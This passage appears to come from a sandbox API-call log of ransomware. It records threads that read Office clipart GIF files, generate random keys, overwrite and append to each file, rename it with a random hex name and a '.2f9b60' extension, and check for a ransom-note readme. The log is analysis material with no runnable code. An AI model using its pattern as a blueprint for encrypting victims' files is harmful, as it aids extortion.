_Dest="a7") returned 2 [0105.293] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="69") returned 2 [0105.293] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="57") returned 2 [0105.293] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="0a") returned 2 [0105.293] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="dd") returned 2 [0105.294] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="3c") returned 2 [0105.294] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="f2") returned 2 [0105.294] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="99") returned 2 [0105.294] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="1b") returned 2 [0105.294] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="db") returned 2 [0105.294] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="1f") returned 2 [0105.294] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="c1") returned 2 [0105.294] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="73") returned 2 [0105.294] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="f8") returned 2 [0105.294] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="cb") returned 2 [0105.294] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="4d") returned 2 [0105.294] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="33") returned 2 [0105.294] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="5f") returned 2 [0105.294] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="8e") returned 2 [0105.294] RtlInitAnsiString (in: DestinationString=0x29fbf7a8, SourceString="dc37e48ae5a769570add3cf2991bdb1fc173f8cb4d335f8e" | out: DestinationString="dc37e48ae5a769570add3cf2991bdb1fc173f8cb4d335f8e") [0105.294] RtlAnsiStringToUnicodeString (in: DestinationString=0x29fbf778, SourceString="dc37e48ae5a769570add3cf2991bdb1fc173f8cb4d335f8e", AllocateDestinationString=1 | out: DestinationString="dc37e48ae5a769570add3cf2991bdb1fc173f8cb4d335f8e") returned 0x0 [0105.294] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced5ef0 [0105.295] wcscat (in: _Dest=0x204ff910, _Source="dc37e48ae5a7" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\dc37e48ae5a7") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\dc37e48ae5a7" [0105.295] wcscat (in: _Dest=0x204ff910, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\dc37e48ae5a7.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\dc37e48ae5a7.2f9b60" [0105.295] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\dc37e48ae5a7.2f9b60", NtPathName=0x29fbf750, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\dc37e48ae5a7.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0105.295] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20278bf0 [0109.393] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20278bf0) returned 1 [0109.393] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecc0b0) returned 1 [0109.393] NtQueryInformationFile (in: FileHandle=0xecc, IoStatusBlock=0x29fbf7b8, FileInformation=0x29fbf7c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x29fbf7b8, FileInformation=0x29fbf7c8) returned 0x0 [0109.393] NtSetInformationFile (FileHandle=0xecc, IoStatusBlock=0x29fbf7b8, FileInformation=0x29fbf7c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.395] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff910) returned 1 [0109.395] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced5ef0) returned 1 [0109.396] FlushFileBuffers (hFile=0xecc) returned 1 [0109.399] CloseHandle (hObject=0xecc) returned 1 [0109.400] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x204ff910 [0109.400] wcscpy (in: _Dest=0x204ff910, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0109.400] wcscat (in: _Dest=0x204ff910, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0109.400] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0109.400] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff910) returned 1 [0109.400] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ce70) returned 1 Thread: id = 649 os_tid = 0x1108 [0095.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif")) returned 0x20 [0096.060] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF", dwFileAttributes=0x20) returned 1 [0096.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xec8 [0096.320] GetFileSizeEx (in: hFile=0xec8, lpFileSize=0x29f3f9c0 | out: lpFileSize=0x29f3f9c0*=5253) returned 1 [0096.320] SetFilePointerEx (in: hFile=0xec8, liDistanceToMove=0x1481, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.320] ReadFile (in: hFile=0xec8, lpBuffer=0x29f3f940, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x29f3f988, lpOverlapped=0x0 | out: lpBuffer=0x29f3f940*, lpNumberOfBytesRead=0x29f3f988*=0x4, lpOverlapped=0x0) returned 1 [0096.356] SetFilePointerEx (in: hFile=0xec8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.356] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fcd0 [0096.356] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbb0 [0096.356] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ffd0 [0096.356] NtQuerySystemTime (in: CurrentTime=0x29f3f880 | out: CurrentTime=0x29f3f880*=132462177021874000) returned 0x0 [0096.356] RtlRandomEx (in: Seed=0x29f3f870 | out: Seed=0x29f3f870) returned 0x39258289 [0096.356] RtlRandomEx (in: Seed=0x29f3f870 | out: Seed=0x29f3f870) returned 0x19748fd3 [0096.356] RtlRandomEx (in: Seed=0x29f3f870 | out: Seed=0x29f3f870) returned 0x34f9eb55 [0096.356] RtlRandomEx (in: Seed=0x29f3f870 | out: Seed=0x29f3f870) returned 0x6249198a [0096.356] RtlRandomEx (in: Seed=0x29f3f870 | out: Seed=0x29f3f870) returned 0x36372389 [0096.357] RtlRandomEx (in: Seed=0x29f3f870 | out: Seed=0x29f3f870) returned 0x26ab09e9 [0096.357] RtlRandomEx (in: Seed=0x29f3f870 | out: Seed=0x29f3f870) returned 0x4ec6052b [0096.357] RtlRandomEx (in: Seed=0x29f3f870 | out: Seed=0x29f3f870) returned 0x2d2925cf [0096.357] RtlRandomEx (in: Seed=0x29f3f870 | out: Seed=0x29f3f870) returned 0x3fac75e3 [0096.357] RtlRandomEx (in: Seed=0x29f3f870 | out: Seed=0x29f3f870) returned 0x3be9c70c [0096.357] RtlRandomEx (in: Seed=0x29f3f870 | out: Seed=0x29f3f870) returned 0x6d99743e [0096.357] RtlRandomEx (in: Seed=0x29f3f870 | out: Seed=0x29f3f870) returned 0x454e121 [0096.357] RtlRandomEx (in: Seed=0x29f3f870 | out: Seed=0x29f3f870) returned 0x14ba6687 [0096.357] RtlRandomEx (in: Seed=0x29f3f870 | out: Seed=0x29f3f870) returned 0x67487602 [0096.357] RtlRandomEx (in: Seed=0x29f3f870 | out: Seed=0x29f3f870) returned 0x32615f2b [0096.357] RtlRandomEx (in: Seed=0x29f3f870 | out: Seed=0x29f3f870) returned 0x5895535c [0096.357] RtlRandomEx (in: Seed=0x29f3f870 | out: Seed=0x29f3f870) returned 0x1a412402 [0096.357] RtlRandomEx (in: Seed=0x29f3f870 | out: Seed=0x29f3f870) returned 0x6bfda5e3 [0096.357] RtlRandomEx (in: Seed=0x29f3f870 | out: Seed=0x29f3f870) returned 0x5cf637aa [0096.357] RtlRandomEx (in: Seed=0x29f3f870 | out: Seed=0x29f3f870) returned 0x762ca067 [0096.357] RtlRandomEx (in: Seed=0x29f3f870 | out: Seed=0x29f3f870) returned 0x5e4fc5b0 [0096.357] RtlRandomEx (in: Seed=0x29f3f870 | out: Seed=0x29f3f870) returned 0x16c744d2 [0096.357] RtlRandomEx (in: Seed=0x29f3f870 | out: Seed=0x29f3f870) returned 0x5870f41d [0096.357] RtlRandomEx (in: Seed=0x29f3f870 | out: Seed=0x29f3f870) returned 0x290012f6 [0096.357] RtlRandomEx (in: Seed=0x29f3f870 | out: Seed=0x29f3f870) returned 0x2677c54c [0096.357] RtlRandomEx (in: Seed=0x29f3f870 | out: Seed=0x29f3f870) returned 0x7070b6e8 [0096.357] RtlRandomEx (in: Seed=0x29f3f870 | out: Seed=0x29f3f870) returned 0x7838cec8 [0096.357] RtlRandomEx (in: Seed=0x29f3f870 | out: Seed=0x29f3f870) returned 0x1541aeac [0096.358] RtlRandomEx (in: Seed=0x29f3f870 | out: Seed=0x29f3f870) returned 0x694c74ab [0096.358] RtlRandomEx (in: Seed=0x29f3f870 | out: Seed=0x29f3f870) returned 0x6f22115e [0096.358] RtlRandomEx (in: Seed=0x29f3f870 | out: Seed=0x29f3f870) returned 0x6f83b80f [0096.358] RtlRandomEx (in: Seed=0x29f3f870 | out: Seed=0x29f3f870) returned 0x2abb7641 [0096.371] ReadFile (in: hFile=0xec8, lpBuffer=0x201578d0, nNumberOfBytesToRead=0x1485, lpNumberOfBytesRead=0x29f3f870, lpOverlapped=0x0 | out: lpBuffer=0x201578d0*, lpNumberOfBytesRead=0x29f3f870*=0x1485, lpOverlapped=0x0) returned 1 [0096.413] SetFilePointerEx (in: hFile=0xec8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.413] WriteFile (in: hFile=0xec8, lpBuffer=0x20179560*, nNumberOfBytesToWrite=0x1485, lpNumberOfBytesWritten=0x29f3f874, lpOverlapped=0x0 | out: lpBuffer=0x20179560*, lpNumberOfBytesWritten=0x29f3f874*=0x1485, lpOverlapped=0x0) returned 1 [0096.458] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f820 [0096.458] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860600 [0096.458] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860600) returned 1 [0096.458] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20179560) returned 1 [0096.458] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201578d0) returned 1 [0096.458] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866440) returned 1 [0096.458] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd974e0) returned 1 [0096.458] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b860600 [0096.458] SetFilePointerEx (in: hFile=0xec8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0096.458] WriteFile (in: hFile=0xec8, lpBuffer=0x1673a0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x29f3f990, lpOverlapped=0x0 | out: lpBuffer=0x1673a0*, lpNumberOfBytesWritten=0x29f3f990*=0x10a, lpOverlapped=0x0) returned 1 [0098.403] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc70 [0098.406] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e870 [0098.407] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260140 [0098.407] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260140) returned 1 [0098.407] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0098.407] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260140 [0098.407] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260170 [0098.407] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260170) returned 1 [0098.407] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e870) returned 1 [0098.407] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc70) returned 1 [0098.408] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9fc70 [0098.408] sprintf (in: _Dest=0x1cd9fc70, _Format="%c%c" | out: _Dest="49") returned 2 [0098.408] sprintf (in: _Dest=0x1cd9fc72, _Format="%c%c" | out: _Dest="de") returned 2 [0098.408] sprintf (in: _Dest=0x1cd9fc74, _Format="%c%c" | out: _Dest="17") returned 2 [0098.408] sprintf (in: _Dest=0x1cd9fc76, _Format="%c%c" | out: _Dest="d8") returned 2 [0098.408] sprintf (in: _Dest=0x1cd9fc78, _Format="%c%c" | out: _Dest="9b") returned 2 [0098.408] sprintf (in: _Dest=0x1cd9fc7a, _Format="%c%c" | out: _Dest="84") returned 2 [0098.408] sprintf (in: _Dest=0x1cd9fc7c, _Format="%c%c" | out: _Dest="ea") returned 2 [0098.408] sprintf (in: _Dest=0x1cd9fc7e, _Format="%c%c" | out: _Dest="78") returned 2 [0098.408] sprintf (in: _Dest=0x1cd9fc80, _Format="%c%c" | out: _Dest="a1") returned 2 [0098.408] sprintf (in: _Dest=0x1cd9fc82, _Format="%c%c" | out: _Dest="a8") returned 2 [0098.408] sprintf (in: _Dest=0x1cd9fc84, _Format="%c%c" | out: _Dest="44") returned 2 [0098.408] sprintf (in: _Dest=0x1cd9fc86, _Format="%c%c" | out: _Dest="51") returned 2 [0098.408] sprintf (in: _Dest=0x1cd9fc88, _Format="%c%c" | out: _Dest="86") returned 2 [0098.408] sprintf (in: _Dest=0x1cd9fc8a, _Format="%c%c" | out: _Dest="cf") returned 2 [0098.409] sprintf (in: _Dest=0x1cd9fc8c, _Format="%c%c" | out: _Dest="ee") returned 2 [0098.409] sprintf (in: _Dest=0x1cd9fc8e, _Format="%c%c" | out: _Dest="06") returned 2 [0098.409] sprintf (in: _Dest=0x1cd9fc90, _Format="%c%c" | out: _Dest="87") returned 2 [0098.409] sprintf (in: _Dest=0x1cd9fc92, _Format="%c%c" | out: _Dest="b6") returned 2 [0098.409] sprintf (in: _Dest=0x1cd9fc94, _Format="%c%c" | out: _Dest="d2") returned 2 [0098.409] sprintf (in: _Dest=0x1cd9fc96, _Format="%c%c" | out: _Dest="8e") returned 2 [0098.409] sprintf (in: _Dest=0x1cd9fc98, _Format="%c%c" | out: _Dest="04") returned 2 [0098.409] sprintf (in: _Dest=0x1cd9fc9a, _Format="%c%c" | out: _Dest="a6") returned 2 [0098.409] sprintf (in: _Dest=0x1cd9fc9c, _Format="%c%c" | out: _Dest="3c") returned 2 [0098.409] sprintf (in: _Dest=0x1cd9fc9e, _Format="%c%c" | out: _Dest="e4") returned 2 [0098.409] RtlInitAnsiString (in: DestinationString=0x29f3fa08, SourceString="49de17d89b84ea78a1a8445186cfee0687b6d28e04a63ce4" | out: DestinationString="49de17d89b84ea78a1a8445186cfee0687b6d28e04a63ce4") [0098.409] RtlAnsiStringToUnicodeString (in: DestinationString=0x29f3f9d8, SourceString="49de17d89b84ea78a1a8445186cfee0687b6d28e04a63ce4", AllocateDestinationString=1 | out: DestinationString="49de17d89b84ea78a1a8445186cfee0687b6d28e04a63ce4") returned 0x0 [0098.409] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7a32d0 [0098.409] wcscat (in: _Dest=0x202b0830, _Source="49de17d89b84" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\49de17d89b84") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\49de17d89b84" [0098.409] wcscat (in: _Dest=0x202b0830, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\49de17d89b84.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\49de17d89b84.2f9b60" [0098.409] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\49de17d89b84.2f9b60", NtPathName=0x29f3f9b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\49de17d89b84.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0098.409] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107780 [0109.461] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107780) returned 1 [0109.461] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20293530) returned 1 [0109.461] NtQueryInformationFile (in: FileHandle=0xec8, IoStatusBlock=0x29f3fa18, FileInformation=0x29f3fa28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x29f3fa18, FileInformation=0x29f3fa28) returned 0x0 [0109.462] NtSetInformationFile (FileHandle=0xec8, IoStatusBlock=0x29f3fa18, FileInformation=0x29f3fa28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.470] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b0830) returned 1 [0109.470] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a32d0) returned 1 [0109.470] FlushFileBuffers (hFile=0xec8) returned 1 [0109.490] CloseHandle (hObject=0xec8) returned 1 [0109.491] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4205cb50 [0109.491] wcscpy (in: _Dest=0x4205cb50, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0109.491] wcscat (in: _Dest=0x4205cb50, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0109.491] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0109.491] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cb50) returned 1 [0109.491] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85cf00) returned 1 Thread: id = 650 os_tid = 0x110c [0095.835] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif")) returned 0x20 [0096.060] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF", dwFileAttributes=0x20) returned 1 [0096.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xec4 [0096.305] GetFileSizeEx (in: hFile=0xec4, lpFileSize=0x2a14fe40 | out: lpFileSize=0x2a14fe40*=2596) returned 1 [0096.305] SetFilePointerEx (in: hFile=0xec4, liDistanceToMove=0xa20, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.305] ReadFile (in: hFile=0xec4, lpBuffer=0x2a14fdc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a14fe08, lpOverlapped=0x0 | out: lpBuffer=0x2a14fdc0*, lpNumberOfBytesRead=0x2a14fe08*=0x4, lpOverlapped=0x0) returned 1 [0096.322] SetFilePointerEx (in: hFile=0xec4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.322] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ffa0 [0096.322] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8606f0 [0096.322] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f8b0 [0096.322] NtQuerySystemTime (in: CurrentTime=0x2a14fd00 | out: CurrentTime=0x2a14fd00*=132462177021562000) returned 0x0 [0096.322] RtlRandomEx (in: Seed=0x2a14fcf0 | out: Seed=0x2a14fcf0) returned 0x7b8e5511 [0096.322] RtlRandomEx (in: Seed=0x2a14fcf0 | out: Seed=0x2a14fcf0) returned 0x4ef359c8 [0096.322] RtlRandomEx (in: Seed=0x2a14fcf0 | out: Seed=0x2a14fcf0) returned 0x5d2fe702 [0096.322] RtlRandomEx (in: Seed=0x2a14fcf0 | out: Seed=0x2a14fcf0) returned 0x531b572f [0096.322] RtlRandomEx (in: Seed=0x2a14fcf0 | out: Seed=0x2a14fcf0) returned 0x537939f0 [0096.323] RtlRandomEx (in: Seed=0x2a14fcf0 | out: Seed=0x2a14fcf0) returned 0x4fbe91fa [0096.323] RtlRandomEx (in: Seed=0x2a14fcf0 | out: Seed=0x2a14fcf0) returned 0x38cec86c [0096.323] RtlRandomEx (in: Seed=0x2a14fcf0 | out: Seed=0x2a14fcf0) returned 0x6c5145ad [0096.323] RtlRandomEx (in: Seed=0x2a14fcf0 | out: Seed=0x2a14fcf0) returned 0x175e824 [0096.323] RtlRandomEx (in: Seed=0x2a14fcf0 | out: Seed=0x2a14fcf0) returned 0x6a2a16f6 [0096.323] RtlRandomEx (in: Seed=0x2a14fcf0 | out: Seed=0x2a14fcf0) returned 0x668ef02f [0096.323] RtlRandomEx (in: Seed=0x2a14fcf0 | out: Seed=0x2a14fcf0) returned 0x6b36252 [0096.323] RtlRandomEx (in: Seed=0x2a14fcf0 | out: Seed=0x2a14fcf0) returned 0x377ee66a [0096.323] RtlRandomEx (in: Seed=0x2a14fcf0 | out: Seed=0x2a14fcf0) returned 0x13f6d6b8 [0096.323] RtlRandomEx (in: Seed=0x2a14fcf0 | out: Seed=0x2a14fcf0) returned 0x62b9af4f [0096.323] RtlRandomEx (in: Seed=0x2a14fcf0 | out: Seed=0x2a14fcf0) returned 0x2e9a5c4a [0096.323] RtlRandomEx (in: Seed=0x2a14fcf0 | out: Seed=0x2a14fcf0) returned 0x5354a339 [0096.323] RtlRandomEx (in: Seed=0x2a14fcf0 | out: Seed=0x2a14fcf0) returned 0x6eb1d6bd [0096.323] RtlRandomEx (in: Seed=0x2a14fcf0 | out: Seed=0x2a14fcf0) returned 0x5ce55ce9 [0096.323] RtlRandomEx (in: Seed=0x2a14fcf0 | out: Seed=0x2a14fcf0) returned 0x54331dfd [0096.323] RtlRandomEx (in: Seed=0x2a14fcf0 | out: Seed=0x2a14fcf0) returned 0x32ac57c4 [0096.323] RtlRandomEx (in: Seed=0x2a14fcf0 | out: Seed=0x2a14fcf0) returned 0xe65c623 [0096.323] RtlRandomEx (in: Seed=0x2a14fcf0 | out: Seed=0x2a14fcf0) returned 0x56dd1b08 [0096.323] RtlRandomEx (in: Seed=0x2a14fcf0 | out: Seed=0x2a14fcf0) returned 0x63f1e08c [0096.323] RtlRandomEx (in: Seed=0x2a14fcf0 | out: Seed=0x2a14fcf0) returned 0x7f9455ea [0096.323] RtlRandomEx (in: Seed=0x2a14fcf0 | out: Seed=0x2a14fcf0) returned 0x70a0636f [0096.323] RtlRandomEx (in: Seed=0x2a14fcf0 | out: Seed=0x2a14fcf0) returned 0x72e3afa8 [0096.323] RtlRandomEx (in: Seed=0x2a14fcf0 | out: Seed=0x2a14fcf0) returned 0x5594897b [0096.323] RtlRandomEx (in: Seed=0x2a14fcf0 | out: Seed=0x2a14fcf0) returned 0x7b5cd219 [0096.323] RtlRandomEx (in: Seed=0x2a14fcf0 | out: Seed=0x2a14fcf0) returned 0x2a076dc2 [0096.323] RtlRandomEx (in: Seed=0x2a14fcf0 | out: Seed=0x2a14fcf0) returned 0x2c9dec9a [0096.323] RtlRandomEx (in: Seed=0x2a14fcf0 | out: Seed=0x2a14fcf0) returned 0x775e33b6 [0096.334] ReadFile (in: hFile=0xec4, lpBuffer=0x201c85a0, nNumberOfBytesToRead=0xa24, lpNumberOfBytesRead=0x2a14fcf0, lpOverlapped=0x0 | out: lpBuffer=0x201c85a0*, lpNumberOfBytesRead=0x2a14fcf0*=0xa24, lpOverlapped=0x0) returned 1 [0096.334] SetFilePointerEx (in: hFile=0xec4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.334] WriteFile (in: hFile=0xec4, lpBuffer=0x201bd170*, nNumberOfBytesToWrite=0xa24, lpNumberOfBytesWritten=0x2a14fcf4, lpOverlapped=0x0 | out: lpBuffer=0x201bd170*, lpNumberOfBytesWritten=0x2a14fcf4*=0xa24, lpOverlapped=0x0) returned 1 [0096.374] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb80 [0096.374] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f820 [0096.374] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f820) returned 1 [0096.374] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201bd170) returned 1 [0096.374] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201c85a0) returned 1 [0096.374] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e470) returned 1 [0096.374] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c8a0) returned 1 [0096.374] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b85f820 [0096.375] SetFilePointerEx (in: hFile=0xec4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0096.375] WriteFile (in: hFile=0xec4, lpBuffer=0x1674c0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2a14fe10, lpOverlapped=0x0 | out: lpBuffer=0x1674c0*, lpNumberOfBytesWritten=0x2a14fe10*=0x10a, lpOverlapped=0x0) returned 1 [0096.394] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c800 [0096.394] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79d9f0 [0096.394] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f970 [0096.395] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f970) returned 1 [0096.395] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0096.395] 